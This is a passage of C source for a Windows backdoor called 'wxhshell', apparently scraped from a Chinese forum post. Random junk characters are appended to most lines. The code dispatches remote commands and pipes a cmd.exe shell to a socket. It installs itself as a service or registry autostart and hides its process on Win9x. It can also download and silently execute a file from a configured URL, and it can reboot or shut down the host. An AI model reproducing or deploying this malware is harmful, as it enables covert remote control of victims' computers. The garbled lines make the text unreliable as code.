  else { /p~Wk4'  
8" Z!: =A  
    switch(cmd[0]) { csTX',c  
  OZ?4"1$.t  
  // 帮助 |;q*Zy(  
  case '?': { {Y{*(5YV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k[oU}~*U+  
    break; A(y^1Nm  
  } l 6wX18~XJ  
  // 安装 azMrY<  
  case 'i': { }G$rr.G  
    if(Install()) zGFo -C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }a@ZFk_>  
    else [V`j@dV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qX{m7  
    break; 2#Fc4RR;  
    } Ij>x3L\-  
  // 卸载 >j1\]uo  
  case 'r': { i][7S mN  
    if(Uninstall()) y4`<$gL   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >So)KB  
    else Ww*='lz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j3QpY9A  
    break; /#J)EH4p  
    } R4,j  
  // 显示 wxhshell 所在路径 h'wOslyFa  
  case 'p': { YIA}F1:  
    char svExeFile[MAX_PATH]; wC@5[e$  
    strcpy(svExeFile,"\n\r"); 2Mx9Kd'a r  
      strcat(svExeFile,ExeFile); +r)'?zU  
        send(wsh,svExeFile,strlen(svExeFile),0); W(9fCDO;  
    break; ToIvyeFr  
    } a pqzf  
  // 重启 CQfrAk4mu  
  case 'b': { ?4=8z8((!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D%cWw0Oq  
    if(Boot(REBOOT)) \RZFq<6>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ief [  
    else { c8mcJAc  
    closesocket(wsh); (x9d7$2  
    ExitThread(0); $NP5Z0v7  
    }  D/hQ{T  
    break; za7h.yK}  
    } IWN:GFH(  
  // 关机 42LlR 0  
  case 'd': { VAf~,T]Ww  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l)E \mo 8  
    if(Boot(SHUTDOWN)) bL 5z%bV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lpkg( J#&  
    else { wL,b.]  
    closesocket(wsh); }*l V  
    ExitThread(0); ~I6Er6$C^  
    } >jAr9Blz]  
    break; NUBzmnA>8  
    } 0`/PEK{  
  // 获取shell vrXmzq  
  case 's': { D1bS=> ;,"  
    CmdShell(wsh); SV.\B  
    closesocket(wsh); POTW+Zq]  
    ExitThread(0); |E-0P=h  
    break; 4R\bU"+jZ_  
  } xd8UdQ, lt  
  // 退出 $DC*&hqpt  
  case 'x': { BM{GSX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ")7,ZN;  
    CloseIt(wsh); x Yr-,$/  
    break; {e[S?1t=l  
    } J) v~  
  // 离开 _#9:cH*  
  case 'q': { jJl6H~ "q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5=Mm=HyI2  
    closesocket(wsh); -i|qk`Y  
    WSACleanup(); hNUAwTH6  
    exit(1); ^[XxE Lx  
    break; 5gW`;Cdbyc  
        } HTI1eLZ2  
  } c+AZ(6O ?\  
  } 1(M0C[P  
8Q^yh6z  
  // 提示信息 }[Uh4k8P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Q^/5hA  
} -yeQQ4b  
  } 0m,A`*o  
X"b4U\A  
  return; 49}yw3-  
} "s2?cQv{#  
i ^sK+v  
// shell模块句柄 4vTO  #F  
int CmdShell(SOCKET sock) k|-`d  
{ c\UVMyE  
STARTUPINFO si; &oiX/UaY  
ZeroMemory(&si,sizeof(si)); @Fqh]1t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (6z^m?t?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; exV6&bdu  
PROCESS_INFORMATION ProcessInfo; hC<X\yxe  
char cmdline[]="cmd"; 'P}"ZHW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +V1EqC*  
  return 0; 8YraW|H  
} m_~ p G  
qAm$yfYs`  
// 自身启动模式 l?(nkg["nY  
int StartFromService(void) W5(t+$L.  
{ P]T(I/\g  
typedef struct X`]-) (U X  
{ G ;V@oT  
  DWORD ExitStatus; BDxrSq,H  
  DWORD PebBaseAddress; 2F^ %d9`  
  DWORD AffinityMask; C<fWDLwYqV  
  DWORD BasePriority; ;_K+b,  
  ULONG UniqueProcessId; %f\{ ]  
  ULONG InheritedFromUniqueProcessId; GmtMA|  
}   PROCESS_BASIC_INFORMATION; k);z}`7  
8,YF>O&  
PROCNTQSIP NtQueryInformationProcess; wq_c^Ioy  
&T]+g8''  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b>E%&sf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C=@BkneQ  
zy4AFW  
  HANDLE             hProcess; shxr^   
  PROCESS_BASIC_INFORMATION pbi; IGT~@);  
.=rv,PWjZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a*CP1@O  
  if(NULL == hInst ) return 0; >h<eEv/  
f2_LfbvH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5}9-)\8=z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); # j*$ `W;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !$AVl MnJ  
J"|)?$d]z  
  if (!NtQueryInformationProcess) return 0; r\vB-nJ  
K7<'4i~k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jd l1Q<Z  
  if(!hProcess) return 0; =nFT0];  
YS?P A#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NmST1pMk  
= Ii@-C  
  CloseHandle(hProcess); 8Nxf2i5  
cGkl=-oQ'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y+iC/pd  
if(hProcess==NULL) return 0; @iUzRsl  
3`TC*  
HMODULE hMod; vQ+}rHf`[  
char procName[255]; qh0)~JL4   
unsigned long cbNeeded; &o^wgmS   
/`\-.S9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sxgR;gf6  
_XXK1H x  
  CloseHandle(hProcess); 7E Y~5U/4  
\bQ|O7s  
if(strstr(procName,"services")) return 1; // 以服务启动 ~D@ V@sX  
z A&0H  
  return 0; // 注册表启动 ,M7sOp6}  
} 0o At=S  
fj0+a0h  
// 主模块 i0-!!  
int StartWxhshell(LPSTR lpCmdLine) j6Jz  
{ rRcfZZ~` M  
  SOCKET wsl; ~0ZEnejy  
BOOL val=TRUE; D\(,:_ge  
  int port=0; 78+H|bH8  
  struct sockaddr_in door; MP[v 9m@  
\*LMc69  
  if(wscfg.ws_autoins) Install(); n8[sR;r5f  
x@DXW(  
port=atoi(lpCmdLine); eno*JK  
{,IWjt &>  
if(port<=0) port=wscfg.ws_port; ?MKf=! w  
P)1@HDN==  
  WSADATA data; \q3H#1A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tyP-J4J  
f*XF"@ZQV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \2_>$:UoV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); edGV[=]F  
  door.sin_family = AF_INET; TzPx4L6?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j`,;J[Zd`h  
  door.sin_port = htons(port); Q)#<T]~=  
;T#t)oV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k%hD<_:p  
closesocket(wsl); E|97zc  
return 1; ~(aq3ngo.  
} ejgg.G ^  
Z;%  
  if(listen(wsl,2) == INVALID_SOCKET) { e7,iO#@:m  
closesocket(wsl); Redp'rXT<h  
return 1; a:zx&DwM  
} FAM`+QtNw  
  Wxhshell(wsl); pal))e! B  
  WSACleanup(); FVY,CeA.  
WU<#_by g  
return 0; H7Y}qP5X  
eVU:.fx  
} 6sP;O,UX  
&tWWb`  
// 以NT服务方式启动 JTx}{kVO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fEVuH]  
{ n!eg"pL  
DWORD   status = 0; QMtt:f]?i  
  DWORD   specificError = 0xfffffff; {)b`fq  
`yQHPN0/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LWVO%@)w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wW%I < M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `W]a @\EYA  
  serviceStatus.dwWin32ExitCode     = 0; T{uktIO/  
  serviceStatus.dwServiceSpecificExitCode = 0; 30DpIkf  
  serviceStatus.dwCheckPoint       = 0; /;OJ=x3i  
  serviceStatus.dwWaitHint       = 0; N"r ;d+LTL  
_'I9rGlx3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m9L+|r  
  if (hServiceStatusHandle==0) return; H ~ks"D1  
M<ad>M  
status = GetLastError(); l$zNsf.  
  if (status!=NO_ERROR) YvYavd  
{ >F+:ej  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o8s&n3mY}y  
    serviceStatus.dwCheckPoint       = 0; ` 4k;`a  
    serviceStatus.dwWaitHint       = 0; A:D\!5=  
    serviceStatus.dwWin32ExitCode     = status; 8z/^Ql  
    serviceStatus.dwServiceSpecificExitCode = specificError; hJ}G5pX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c'G\AbUVjE  
    return; nn=JM7e\9  
  } PA,j;{,(b  
66|lQE&n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qb"!  
  serviceStatus.dwCheckPoint       = 0; &Mc mA  
  serviceStatus.dwWaitHint       = 0; 8vT:icl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \]9;c6(  
} \6lXsu;I.X  
]$L[3qA.  
// 处理NT服务事件,比如:启动、停止 s]I],>}RU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #t/Q4X +  
{ +$UfP(XmH  
switch(fdwControl) `2@-'/$\I|  
{ yr=r? h}  
case SERVICE_CONTROL_STOP: B}MJ?uvA  
  serviceStatus.dwWin32ExitCode = 0; #ERn 8k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {[s<\<~B*  
  serviceStatus.dwCheckPoint   = 0; @i`gR%  
  serviceStatus.dwWaitHint     = 0; b~Ruhi[E  
  { =.o-R=:d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )a}5\V  
  } c8'8DM  
  return; b9Y pUm7#  
case SERVICE_CONTROL_PAUSE: ^s?wnEo;j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x$Dv&4  
  break; \ bhok   
case SERVICE_CONTROL_CONTINUE: -m @s 9k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <VBw1|)$@  
  break; h49Q2`  
case SERVICE_CONTROL_INTERROGATE: [a`i{(!  
  break; e"2QV vB  
}; H|!s.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SH(kUL5  
} ]lo1Kw  
a(7ryl~c=  
// 标准应用程序主函数 N<{ `n;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g\l;>  
{ s +GF- kJ*  
LBE".+  
// 获取操作系统版本 t#q> U%!  
OsIsNt=GetOsVer(); w* I+~o-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZX0c_Mk=  
5;{Bdvcv  
  // 从命令行安装 w|HZI,~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Chua>p!$g  
/Ow?nWSt  
  // 下载执行文件 Q*8-d9C  
if(wscfg.ws_downexe) { !BX62j\?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V!P3CNK  
  WinExec(wscfg.ws_filenam,SW_HIDE); caP  
} rTm{-b)r  
*I67SBt  
if(!OsIsNt) { OGFKc#  
// 如果时win9x,隐藏进程并且设置为注册表启动 FNuu',:  
HideProc(); @>]3xHE6#=  
StartWxhshell(lpCmdLine); b8>9mKs  
} 3~Ln:4[6ID  
else =dBrmMh  
  if(StartFromService()) @"8QG^q8de  
  // 以服务方式启动 #+ '@/5{n  
  StartServiceCtrlDispatcher(DispatchTable); +][P*/Ek  
else 5B 7*Z  
  // 普通方式启动 )0mDN.  
  StartWxhshell(lpCmdLine); >#?: x*[  
? 6d4T  
return 0; Y2-bU 7mo  
}
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只看该作者 1 发表于: 2006-10-10
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